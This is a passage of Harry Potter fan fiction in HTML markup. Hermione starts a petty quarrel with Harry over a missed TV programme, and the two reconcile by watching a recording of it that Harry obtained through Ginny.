<i>insignificant</i>, totally <i>petty</i>, extremely <i>trivial</i>,\nand utterly <i>inconsequential</i> matter of a missed program on the muggle\nsatellite TV.</p>\n\n<p class="MsoBodyTextFirstIndent" style="line-height:14.0pt;">She couldn&#8217;t understand what had prompted her to such pettiness and\nsheer narrow-mindedness, but at the time &#8230; <i>it felt <u>good</u>!</i> She&#8217;d\nreleased a lot of pent-up emotions &#8230; frustrations &#8230; things half-felt but never\nreally understood &#8230; <i>small</i> things that had been building up for months &#8230;\nall finally, <i>gloriously</i>, released in a single moment of sheer meanness\nand trivial-mindedness.</p>\n\n<p class="MsoBodyTextFirstIndent" style="line-height:14.0pt;">No.</p>\n\n<p class="MsoBodyTextFirstIndent" style="line-height:14.0pt;">She understood <i>perfectly</i> why she did it. She knew &#8211; and she\njust couldn&#8217;t stop herself. She could have talked it out with Harry &#8230; he would\nhave listened, he would have tried to understand &#8230; but the sheer <i>joy</i> of\nletting go, and feeling <i>human</i> had been too tempting &#8230;</p>\n\n<p class="MsoBodyTextFirstIndent" style="line-height:14.0pt;">She felt the tears falling down her cheeks again, as she went back\nover what she had done.</p>\n\n<p class="MsoBodyTextFirstIndent" style="line-height:14.0pt;">She could only hope that Harry would understand.</p>\n\n<p class="MsoBodyText" style="text-align:center;line-height:14.0pt;" align="center">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p class="MsoBodyTextFirstIndent" style="line-height:14.0pt;">&#8220;She <i>what</i>?&#8221; The twin Weasleys said in shocked voices. Harry\nnodded morosely, confirming what he had just told them. &#8220;But that &#8230; that&#8217;s &#8230; <i>insane!</i>&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent" style="line-height:14.0pt;">&#8220;Crazy.&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent" style="line-height:14.0pt;">&#8220;<i>Mental</i>!<i>&#8221;</i></p>\n\n<p class="MsoBodyTextFirstIndent" style="line-height:14.0pt;">&#8220;Senseless.&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent" style="line-height:14.0pt;">&#8220;<i>Mad</i>!&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent" style="line-height:14.0pt;">&#8220;Shut up, you two.&#8221; Hagrid&#8217;s demand, delivered in his normal tone of\nvoice, had the effect of quieting the room. He frowned at Harry, as if asking\nhim if there was anything else that he had omitted.&nbsp; Harry shook his head emphatically &#8211; there was <i>nothing</i> else\nworth mentioning! Certainly not <i>what</i> Hermione wanted to watch &#8230;</p>\n\n<p class="MsoBodyTextFirstIndent" style="line-height:14.0pt;">&#8220;Ahem.&#8221; Four pairs of eyes turned on Tom, who was bringing their\ndrinks.&nbsp; As he set their orders in front\nof them, he said, in the quiet voice of one who had heard it all before, &#8220;She&#8217;s\nfeeling detached from the <i>real</i> world, Mr. Potter &#8230; she just needs to\nfeel human.&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent" style="line-height:14.0pt;">Four sets of jaws dropped at that confident statement. Harry was the\nfirst to react: &#8220;What the <i>hell</i> does that mean?&#8221;</p>\n\n<p class="MsoBodyText" style="text-align:center;line-height:14.0pt;" align="center">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p class="MsoBodyTextFirstIndent" style="line-height:14.0pt;">Hermione had drawn the curtains in the living room.&nbsp; Sitting in the dark, her mind turned back on\nwhat had happened &#8230; and she started reviewing the reasons for the fight.</p>\n\n<p class="MsoBodyTextFirstIndent" style="line-height:14.0pt;">Money problems? She smirked. Harry was <i>rich</i>, with or without a\njob, he had enough money in Gringotts to live the way he wanted and even invest\nin things he felt were worthwhile &#8230; As for herself, she made decent money as a\nresearch associate with the Stonehenge Institute &#8230; No, <i>money</i> wasn&#8217;t a\nproblem.</p>\n\n<p class="MsoBodyTextFirstIndent" style="line-height:14.0pt;">Lack of communication? Oh, no &#8230; their habit of completing each other&#8217;s\nsentences (which <i>everyone</i> around them noticed since their second or\nthird year at Hogwarts) had grown and improved over the years &#8230; to the point\nthat they often knew what the other was thinking through a simple gesture, or a\nmeeting of their eyes.</p>\n\n<p class="MsoBodyTextFirstIndent" style="line-height:14.0pt;">Sex? She smiled at the thought &#8230; they <i>never</i> had sex, not even\nthe first time. They <i>made love</i> to each other &#8230; inadequate as it sounded,\nit was the only way to describe the <i>joining</i> of body, mind, and <i>soul</i>\nthat happened when they were together. Calling it &#8220;sex&#8221; was, in truth, a\nprivate joke for something that was truly <i>indescribable!</i></p>\n\n<p class="MsoBodyTextFirstIndent" style="line-height:14.0pt;">Insecurities? Not really &#8230; Harry still carried an insecurity about\nlosing her to someone else, but their mental communication was such that she <i>knew</i>\nwhen it was affecting him &#8211; and she <i>always</i> found a way to ease the\nuncertainty away.&nbsp; As <i>Harry</i> did\nfor her occasional bouts of anxiety about her physical appearance. She smiled\nat the memory of Harry coming upon her when she was depressed one time at\nHogwarts, and his promise to keep telling her that she was beautiful until she <i>believed\n</i>it &#8230; as well as his shame-faced confession that the reason why <i>none</i>\nof the boys had ever mentioned her name in their talks was his threat to kill\nthem if they <i>ever</i> said one word about her.</p>\n\n<p class="MsoBodyTextFirstIndent" style="line-height:14.0pt;">All in all, their world was <i>perfect</i> &#8230; <i>too</i> perfect, she\nsometimes thought.&nbsp; She knew a lot of\npeople who would have gladly sacrificed their children to some pagan altar just\nto have a <i>fraction</i> of what Harry and she had. She smirked as she\nremembered Sirius&#8217; comment that most men would give their left nut to be in <i>Harry&#8217;s</i>\nshoes &#8230; followed by Ron&#8217;s crude comment that most men would give <i>both</i>\nballs to have Harry&#8217;s fortune &#8211; which included Hermione.</p>\n\n<p class="MsoBodyTextFirstIndent" style="line-height:14.0pt;">She sighed. <i>That</i> was the problem, she knew. Her world sometimes\nseemed to be <i>too</i> perfect: she had <i>Harry</i>, best friend, companion,\nlover, confidante, <i>partner</i> &#8230; they had no worries about money, bills,\nmortgages, credit cards &#8230; plus the fact that they were both <i>magical</i> &#8230;</p>\n\n<p class="MsoBodyTextFirstIndent" style="line-height:14.0pt;">Which made her feel <i>in</i>human at times &#8230; and those were the\nmoments when she needed, she <i>craved</i> for, the ordinary day-to-day\nproblems that people faced every day &#8230; she had to feel as if she were part of a\n<i>real</i> world, not a made-up, imaginary world like the fairy tale worlds or\nlegends that she had read as a child.</p>\n\n<p class="MsoBodyTextFirstIndent" style="line-height:14.0pt;">Truth to tell, <i>that </i>was the reason behind her petty meanness\nthat afternoon. If <i>pain</i> was the price paid to make one <i>certain</i> of\nreality, she would indulge in it when <i>needed</i> &#8230; as she had today, when\nshe missed watching a program she&#8217;d wanted to see, and blamed it on Harry. </p>\n\n<p class="MsoBodyTextFirstIndent" style="line-height:14.0pt;">She suddenly stood up.&nbsp; She\nneeded to talk to Harry <i>now</i> &#8230; it had been <i>hours</i> since he had\nstormed out of their home &#8230; she needed to hold him, to apologize for her words,\nto make him <i>understand</i> where she was coming from &#8230; but where was he?</p>\n\n<p class="MsoBodyTextFirstIndent" style="line-height:14.0pt;">Struck by a sudden inspiration, she ran for her dresser. Yanking out\nthe drawer, she rummaged through the contents, finally throwing everything on\nthe floor in anger &#8230; the hair-comb she was looking for wasn&#8217;t there.</p>\n\n<p class="MsoBodyTextFirstIndent" style="line-height:14.0pt;">She slumped to the floor in defeat, face buried in her hands &#8230; more\ntears falling silently down her face.</p>\n\n<p class="MsoBodyText" style="text-align:center;line-height:14.0pt;" align="center">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p class="MsoBodyTextFirstIndent" style="line-height:14.0pt;">Harry listened, wide eyed and mouth agape, as Tom ran through his\nanalysis of what Hermione&#8217;s problem was. He had to admit that the old man had a\npoint: to any outsider &#8211; and even many of his closest friends &#8211; it may seem\nthat he was leading a charmed, even <i>perfect</i>, life.&nbsp; He had none of the economic problems most\npeople &#8211; Wizard and muggle alike &#8211; faced on a daily basis. He was in love with\nthe most wonderful woman in the world &#8230; they had a level of <i>communication</i>\n(mental and even <i>physical</i>) that most could only dream of &#8230; </p>\n\n<p class="MsoBodyTextFirstIndent" style="line-height:14.0pt;">Which didn&#8217;t mean that he was <i>not</i> human.&nbsp; He was just like everyone else in the world\n&#8230; a little more special than others, perhaps &#8230; a lot more <i>famous</i> than\nmost people were (thanks to Jo and her books) &#8230; but still, at the end of it\nall, just as mortal, and <i>human</i> as everyone else around him.</p>\n\n<p class="MsoBodyTextFirstIndent" style="line-height:14.0pt;">Which didn&#8217;t help his current situation one bit. He didn&#8217;t know how to\ndeal with this situation <i>now</i> &#8230; even if Tom was right about Hermione&#8217;s\nfeelings and emotional depression, he wasn&#8217;t sure how to help her get over it &#8230;</p>\n\n<p class="MsoBodyTextFirstIndent" style="line-height:14.0pt;">&#8220;<i>The big things matter, but the small things are what count.</i>&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent" style="line-height:14.0pt;">Harry&#8217;s head jerked up at that statement; he&#8217;d been too engrossed in\nhis thoughts and worries about Hermione to follow where the conversation had\ngone. At the same time, the words sounded familiar &#8230; he was surprised when he\nsaw the Twins nodding their heads sagely at Tom.</p>\n\n<p class="MsoBodyTextFirstIndent" style="line-height:14.0pt;">&#8220;That&#8217;s what Professor Dumbledore said at our wedding,&#8221; Fred was\nsaying to Tom. </p>\n\n<p class="MsoBodyTextFirstIndent" style="line-height:14.0pt;">Harry&#8217;s brain clicked &#8211; and replayed the scene where Professor\nDumbledore had presided over the wizard wedding of Fred to Katie Bell, and\nGeorge to Angelina Johnson. </p>\n\n<p class="MsoBodyTextFirstIndent" style="line-height:14.0pt;">&#8220;The big things will always be remembered, but the small things are\nwhat really count,&#8221; the old man had started. For some reason, however, Harry\nfelt that Dumbledore was talking directly to him &#8211; and Hermione &#8211; and not to\nthe crowd of family and friends that had turned out for the Twins&#8217; wedding.\n&#8220;Money, fame, jobs, children, and the like, are all part of the &#8216;big&#8217; things\nthat everyone pays attention to, that everyone will remember &#8211; and everyone\nwill tell you to watch out for. But keep in mind that <i>small</i> things, the\neveryday occurrences or events that very few focus on, make for a more <i>important</i>\nelement in our lives.</p>\n\n<p class="MsoBodyTextFirstIndent" style="line-height:14.0pt;">&#8220;These everyday moments and memories &#8230; the quiet hug in the morning,\nthe kiss in the middle of the day, the warm hand of friendship and greeting,\nthe rose you give your loved ones whenever the mood strikes you &#8230; make up the <i>real</i>\n&#8211; and more <i>important </i>-- tapestry of our lives.</p>\n\n<p class="MsoBodyTextFirstIndent" style="line-height:14.0pt;">&#8220;And yet, who really pays attention to these small things? They are\nlike small change &#8230; the copper knuts that are far, far less in value than\nsilver sickles or gold galleons &#8230; but when put together, they have a value far\nbeyond what they may imply.&nbsp; What would\nyou rather have, my friends? To wait each day for a golden galleon to come your\nway, or to save each and every knut that passes by? At the end of the day, you\nmay not have a golden galleon &#8211; but you will have hundreds of knuts that,\ntogether, translate into tens of galleons.</p>\n\n<p class="MsoBodyTextFirstIndent" style="line-height:14.0pt;">&#8220;Bear that in mind, my friends. The small attentions that we pay our\nloved ones each day are the small change of life &#8211; like a collection of\nindividual knuts, together they form riches that will serve us better whenever\ndark times are upon us.&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent" style="line-height:14.0pt;">Harry shoved his hands into his jacket&#8217;s pockets, his mind replaying\nDumbledore&#8217;s words.&nbsp; He was suddenly\naware of something in his pocket &#8211; pulling it out, he realized that it was\nHermione&#8217;s sapphire-studded hair comb &#8211; a Christmas gift he had gotten for her\nyears ago, when they were still at Hogwarts. He studied it for a moment &#8230;\nimpulsively, he touched the middle stone and whispered Hermione&#8217;s name.</p>\n\n<p class="MsoBodyTextFirstIndent" style="line-height:14.0pt;">His attention was diverted, however, when he heard George say\nsomething about Ginny and America. Fred was telling Hagrid that Ginny was\ncurrently in America on a special assignment for the Daily Prophet. &#8220;She&#8217;s\ninterviewing wizards and witches who&#8217;ve made it big in the Muggle world &#8230; Mum\nsaid she&#8217;ll be in Chicago today interviewing some big shot TV executive over\nthere.&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent" style="line-height:14.0pt;">&#8220;Ginny&#8217;s in Chicago?&#8221; Harry asked, surprised. He dropped the comb into\nhis pocket, and focused his attention on the Twins, who were gaping at him,\nsurprised at the sudden light and enthusiasm that was shining in his face. &#8220;Is\nthere anyway I can get in touch with her?&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent" style="line-height:14.0pt;">&#8220;She talks with Mum via the floo network everyday,&#8221; George replied.\n&#8220;In fact, she should be calling (he checked his watch) &#8230; just about now.&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent" style="line-height:14.0pt;">Harry stood up so suddenly that his chair crashed back. He threw\nseveral Galleons on the table, and with a &#8220;Thanks, guys! You&#8217;ve been a big\nhelp!&#8221; and a wave to Tom the Bartender, he Disapparated from the Leaky\nCauldron.</p>\n\n<p class="MsoBodyTextFirstIndent" style="line-height:14.0pt;">The others looked at each other in stunned surprise. &#8220;You&#8217;re not\nsupposed to Apparate when you&#8217;ve been drinking!&#8221; Fred protested, belatedly.</p>\n\n<p class="MsoBodyTextFirstIndent" style="line-height:14.0pt;">Hagrid shrugged, &#8220;&#8217;at&#8217;s &#8216;arry for you &#8230; always bending the rules. It\nmust be summat important for him to go like that.&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent" style="line-height:14.0pt;">&#8220;Well,&#8221; George said heavily. &#8220;Hope he doesn&#8217;t splinch.&#8221; He peered down\nat the money Harry had left and said, &#8220;Hey, let&#8217;s order another round &#8230; it&#8217;s on\nHarry.&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent" style="line-height:14.0pt;">&#8220;Later,&#8221; Hagrid replied. &#8220;We haven&#8217;t finished <i>this</i> round yet.&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent" style="line-height:14.0pt;">The three continued talking. None of them noticed that Tom was talking\nto a brown-haired woman with tear-streaked cheeks whose face had appeared in\nthe fireplace.</p>\n\n<p class="MsoBodyText" style="text-align:center;line-height:14.0pt;" align="center">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p class="MsoBodyTextFirstIndent" style="line-height:14.0pt;">&#8220;Thanks, Tom,&#8221; said Hermione as she turned away from the\nfireplace.&nbsp; She had missed Harry by <i>seconds</i>\n&#8230; she had been so shocked when she heard his voice in her head, calling her\nname, that it had taken her some time to remember that <i>he</i> had her comb.\nShe had asked him to hold on to it after a party &#8230; she had apparently forgotten\nto retrieve it and place it in her drawer when they got home.</p>\n\n<p class="MsoBodyTextFirstIndent" style="line-height:14.0pt;">She sighed. Just a few more seconds &#8230; what was so infernally <i>important</i>\nto Harry that he had Disapparated from the Leaky Cauldron without even waiting\nfor her to try to get in touch with him? She couldn&#8217;t think of a reason &#8230; but\nthere was a niggling thought in the back of her mind &#8230; something that had been\non Harry&#8217;s mind when he said her name &#8230;</p>\n\n<p class="MsoBodyTextFirstIndent" style="line-height:14.0pt;">Hermione tried to relax, hoping that her overworked brain would be\nable to bring the thought back. She heard Harry&#8217;s voice whispering, &#8220;<i>Memories\nare the small change of life &#8230;</i>&#8221; and her mind immediately made the\nconnection to Dumbledore and the wedding of the Twins &#8230;</p>\n\n<p class="MsoBodyTextFirstIndent" style="line-height:14.0pt;">But her mind didn&#8217;t focus on Dumbledore&#8217;s words or the wedding &#8230;\ninstead, a river of memories started cascading through her mind &#8230;</p>\n\n<p class="MsoBodyTextFirstIndent" style="line-height:14.0pt;">A Valentine&#8217;s Day when she ended up snuggling with Harry after fuming\nover Lavender and Parvati stealing, and then <i>enlarging</i> her favorite\nphoto of Harry into a wall sized poster in her dormitory &#8230; Snoggy the Elf and\nan overheated engine &#8230; the time he&#8217;d been complimenting her <i>toes</i>, and he\nhad Apparated to the market for pumpkins and chocolate sauce &#8230; a midnight dare\none May Day eve when she&#8217;d seen <i>Harry&#8217;s </i>face looking back at her in a\nmirror &#8230; a breakfast when she&#8217;d taught him the sensuality of toast &#8230;the night\nhe finally worked up the courage to say &#8220;thank you&#8221; for all the times they&#8217;d\nhad together &#8230;a&nbsp; moment when they&#8217;d\nshared fish and chips off newspapers &#8230; the time she kissed his swollen ankle &#8211;\nand found a sure-fire cure for her colds &#8230; that early morning when she&#8217;d\ncontrived to make him see her by candlelight &#8230; the flying lessons that he&#8217;d\ngiven her &#8211; especially one time when she fell asleep to his singing Bon Jovi&#8217;s\n&#8220;I&#8217;ll Be There For You&#8221; &#8230;&nbsp; a day when Crookshanks\nhad attacked him &#8211; and he&#8217;d fallen into her arms &#8230; their walks by the lake,\nsometimes talking, more often silently content in their companionship &#8230;</p>\n\n<p class="MsoBodyTextFirstIndent" style="line-height:14.0pt;">A thousand small memories &#8230; all of them seemingly small and\ninfinitesimal when placed within the context of the &#8220;big&#8221; events that Jo had turned\ninto a hugely successful series of &#8220;adventure/fantasy&#8221; books but which, she\nreflected, were far more important in the <i>total</i> tapestry of their lives\n&#8230; those small incidents and memories showed, in a way not apparent to most, the\n<i>nature</i> and <i>depth</i> of what they felt for each other &#8230;</p>\n\n<p class="MsoBodyTextFirstIndent" style="line-height:14.0pt;">Smitten with a sudden resolve, Hermione went to Harry&#8217;s desk, intent\non finding parchment and quill, wanting nothing more than to put all her\nthoughts, memories and emotions into a single shining epistle of her love for\nthe wizard who owned her heart and her soul &#8230; as she picked up a roll of\nparchment, her eyes chanced upon an old, battered quill that looked as if it\nhad been through a hundred letters &#8230; a thousand notes &#8230; and she stared,\ngoggle-eyed &#8230;</p>\n\n<p class="MsoBodyTextFirstIndent" style="line-height:14.0pt;">She&#8217;d seen that same quill in Harry&#8217;s hand a thousand times over the\nyears &#8230; he&#8217;d carried it <i>everywhere</i> with him &#8230; revising in the Gryffindor\nCommon Room &#8230; scratching away in Potions, Transfiguration, Charms &#8230; writing in\nfront of her &#8230; notes that she later found were short, loving notes addressed to\nher &#8230; that quill was so much a part of Harry that she had never really taken\nnotice of it &#8230; until now.</p>\n\n<p class="MsoBodyTextFirstIndent" style="line-height:14.0pt;">It was an old, battered, decrepit, once-luxury eagle feather quill\nthat first came out in 1992 &#8230; just about ten years ago. And the memory again\nseared through her mind &#8230; she&#8217;d bought <i>that</i> quill for Harry&#8217;s 12th\nbirthday &#8230; the first-ever birthday gift she&#8217;d given him &#8230; there&#8217;d been other\ngifts (including quills) over the years (including a very <i>passionate</i>\nbirthday gift on his 18th birthday!) &#8230; but he had kept on using <i>this</i>\none &#8230; </p>\n\n<p class="MsoBodyTextFirstIndent" style="line-height:14.0pt;">And Hermione once again dissolved into tears, clutching that old,\ntrampled eagle-feather quill that was just another knut in the treasury of\ntheir lives.</p>\n\n<p class="MsoBodyText" style="text-align:center;line-height:14.0pt;" align="center">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p class="MsoBodyTextFirstIndent" style="line-height:14.0pt;">Hours later, Hermione started, slowly waking up to find herself\nslumped over Harry&#8217;s desk, still clutching the old eagle feather quill &#8230; she\nlooked at the clock on the desk and saw that it was late.&nbsp; Harry still wasn&#8217;t home &#8230; and she began to\nworry, wondering which of their many friends Harry was with right now &#8211; or\nwhich long-legged floozy <i>he&#8217;d</i> found solace in &#8230; </p>\n\n<p class="MsoBodyTextFirstIndent" style="line-height:14.0pt;">In the utter stillness of their home, she heard the unmistakable &#8216;pop&#8217;\nof someone Apparating at the door &#8230; the quiet click of a key inserted into the\nfront door &#8230; and Harry&#8217;s voice, shouting &#8220;Mione? I <i>got </i>it!&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent" style="line-height:14.0pt;">She literally flew into his arms, rocking his strong frame backwards\nas she jumped on him, hugging him tightly, babbling a mile a minute her\napologies, her disjointed thoughts, her protestations of love for him &#8230;</p>\n\n<p class="MsoBodyTextFirstIndent" style="line-height:14.0pt;">There was only one sure way that Harry knew to shut that mouth &#8230; and\nhe kissed her, deeply, searchingly, lovingly &#8230; pouring into the gesture all the\npassion, love and, yes, <i>lust</i> that had built up over the hours of their\nseparation, his tongue trying to find her tonsils &#8230; Hermione leading him in,\nholding him tightly, hands almost tearing his hair out in her frenzy to touch\nhim &#8230; </p>\n\n<p class="MsoBodyTextFirstIndent" style="line-height:14.0pt;">Inevitably, they had to break away to draw breath &#8230; and though their\nbreathing was ragged, it had the effect of calming Hermione down, and they\nstood there in their living room, holding each other tightly.</p>\n\n<p class="MsoBodyTextFirstIndent" style="line-height:14.0pt;">They spoke simultaneously, each speaking the other&#8217;s name &#8211; both of\nthem wanting to be the first to apologize, to be the first to make amends, to\nbe the first to mend the torn and painful memories of that day &#8230;</p>\n\n<p class="MsoBodyTextFirstIndent" style="line-height:14.0pt;">They paused, looking at each other.</p>\n\n<p class="MsoBodyTextFirstIndent" style="line-height:14.0pt;">There was no need for words. They hugged, arms around each other,\nHermione&#8217;s head on his chest, Harry&#8217;s head resting on the soft, brown crown of\nhair that he had grown to love.&nbsp; They\nstood there in companionable silence, until Harry spoke, &#8220;Mione &#8230; love, I&#8217;ve <i>got</i>\nit!&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent" style="line-height:14.0pt;">She looked at him, puzzled.</p>\n\n<p class="MsoBodyTextFirstIndent" style="line-height:14.0pt;">&#8220;You wanted to watch it, didn&#8217;t you?&#8221; He said, showing her a VHS tape\nclutched tightly in one hand.</p>\n\n<p class="MsoBodyTextFirstIndent" style="line-height:14.0pt;">&#8220;Harry &#8230; how?&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent" style="line-height:14.0pt;">He smiled at her. &#8220;Let&#8217;s just say I owe Ginny a considerable favor. If\nshe ever decides to leave the Daily Prophet, she can claim a pension for the\nrest of her life!&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent" style="line-height:14.0pt;">&#8220;Harry &#8230; you shouldn&#8217;t have! It wasn&#8217;t that important &#8230;&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent" style="line-height:14.0pt;">&#8220;It was important to <i>you</i>, Mione.&#8221; That stopped her, and she\nburied her face in his chest again.&nbsp; She\nheard him saying, &#8220;Tell you what &#8230; you get the popcorn ready while I shower and\nchange &#8230; we&#8217;ll watch this together.&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent" style="line-height:14.0pt;">She smiled at him. &#8220;Deal.&#8221;</p>\n\n<p class="MsoBodyText" style="text-align:center;line-height:14.0pt;" align="center">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p class="MsoBodyTextFirstIndent" style="line-height:14.0pt;">They snuggled together on the couch as the closing credits scrolled up\non the screen, watching as fans, young and old, crowded around the three\nactors, asking for autographs, or simply to get a chance to shake hands.&nbsp; Hermione had thoroughly enjoyed the show, as\nHarry watched her in amusement &#8230; laughing at the antics of the three &#8230; gasping\nin amazement at the special effects used in the movie &#8230; squealing in delight at\nseeing the lead actress running between tables full of students, straight into\nthe arms of the lead actor, and watching them hug &#8230;</p>\n\n<p class="MsoBodyTextFirstIndent" style="line-height:14.0pt;">Hermione had insisted on playing and replaying that particular scene\nseveral times, as well as several portions of the interviews &#8230; focusing on the\ninteraction between the actress and the lead actor. As the screen turned blank,\nHarry hit the off button on the remote &#8211; and the TV screen blinked into darkness.</p>\n\n<p class="MsoBodyTextFirstIndent" style="line-height:14.0pt;">Hermione broke the sudden silence. &#8220;They&#8217;re so sweet &#8230; and they look\ngood together! Did <i>we </i>ever look that good then?&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent" style="line-height:14.0pt;">Harry smiled, &#8220;As I recall &#8230; your hair was still bushy then &#8230;&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent" style="line-height:14.0pt;">She thwacked him on the arm, &#8220;Shut it, you! You&#8217;re one to talk &#8211; your <i>hair</i>\nnever looked that good either!&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent" style="line-height:14.0pt;">He laughed out loud at that, and ran his hand through his still-unruly\nhair. &#8220;So what do you think?&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent" style="line-height:14.0pt;">&#8220;I think there&#8217;s something there &#8230;&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent" style="line-height:14.0pt;">&#8220;Mione!&#8221; Harry exclaimed, &#8220;They&#8217;re <i>kids</i>, for crying out loud!\nThey&#8217;re only 13 years old &#8230;&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent" style="line-height:14.0pt;">&#8220;So? <i>We</i> were also thirteen once.&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent" style="line-height:14.0pt;">&#8220;Yeah &#8230; but we weren&#8217;t making <i>movies</i> when we were 13 &#8230;&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent" style="line-height:14.0pt;">&#8220;No &#8230; just fighting Dementors &#8230; saving Sirius from a fate worse than\ndeath &#8230; riding Buckbeak &#8230;&#8221; Hermione stopped talking as a slow blush crept up\nher face.</p>\n\n<p class="MsoBodyTextFirstIndent" style="line-height:14.0pt;">&#8220;What?&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent" style="line-height:14.0pt;">&#8220;Nothing,&#8221; she replied, looking away.</p>\n\n<p class="MsoBodyTextFirstIndent" style="line-height:14.0pt;">Their mental communication system suddenly clicked in &#8211; and Harry\nsaid, in a high falsetto, &#8220;Uh &#8230; Hermione, would you mind holding me a little\nbit higher? Like, around my <i>waist</i>?&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent" style="line-height:14.0pt;">Hermione threw a cushion at him as her blush deepened even more.\nWithin seconds, they were whomping each other with cushions, as they whooped\nand laughed with abandon. As they slowed down, they quietly kissed each other\nand snuggled together again on the couch.</p>\n\n<p class="MsoBodyTextFirstIndent" style="line-height:14.0pt;">&#8220;Honestly, Harry &#8230; don&#8217;t they look sweet together?&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent" style="line-height:14.0pt;">He smiled at her, &#8220;C&#8217;mon, Mione. They&#8217;re <i>actors</i> &#8230; they&#8217;re <i>supposed</i>\nto look good together &#8230;&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent" style="line-height:14.0pt;">&#8220;And since when have you lost your sense of <i>romance</i>, Mr.\nPotter?&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent" style="line-height:14.0pt;">He looked at her in surprise, wondering where this was leading.\n&#8220;Mione,&#8221; he said slowly, &#8220;<i>I&#8217;m</i> the one who took up Divination, remember?\nAre you telling me you think <i>those</i> two &#8230;&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent" style="line-height:14.0pt;">&#8220;I don&#8217;t know, Harry. It&#8217;s just that &#8230; &#8220;</p>\n\n<p class="MsoBodyTextFirstIndent" style="line-height:14.0pt;">&#8220;Mione?&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent" style="line-height:14.0pt;">She looked at him and smiled &#8211; that smile that was so much a part of\nhis memories that he&#8217;d often overlooked them in the past &#8230; until the day he\nrealized that she smiled in <i>that</i> way only at <i>him</i>.&nbsp; It was a smile of deep thoughts &#8230; hidden\nmeanings &#8230; sudden understanding &#8230; and it was the smile that he woke up to in\nthe mornings and the smile that he fell asleep to at nights &#8230;</p>\n\n<p class="MsoBodyTextFirstIndent" style="line-height:14.0pt;">&#8220;I can&#8217;t help but believe that those two are building a treasury of\nsmall memories, Harry &#8230; granted, they may not be out to save the world at age\nthirteen &#8230; but they&#8217;re building some great memories <i>together</i> &#8230;&#8221; Hermione\ntrailed off, her mind going over the treasury of memories that she and Harry\nhad built up over the years.</p>\n\n<p class="MsoBodyTextFirstIndent" style="line-height:14.0pt;">&#8220;Like Daniel rubbing suntan lotion on Emma&#8217;s back?&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent" style="line-height:14.0pt;">Hermione goggled at him, &#8220;<i>Where</i> did that come from?&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent" 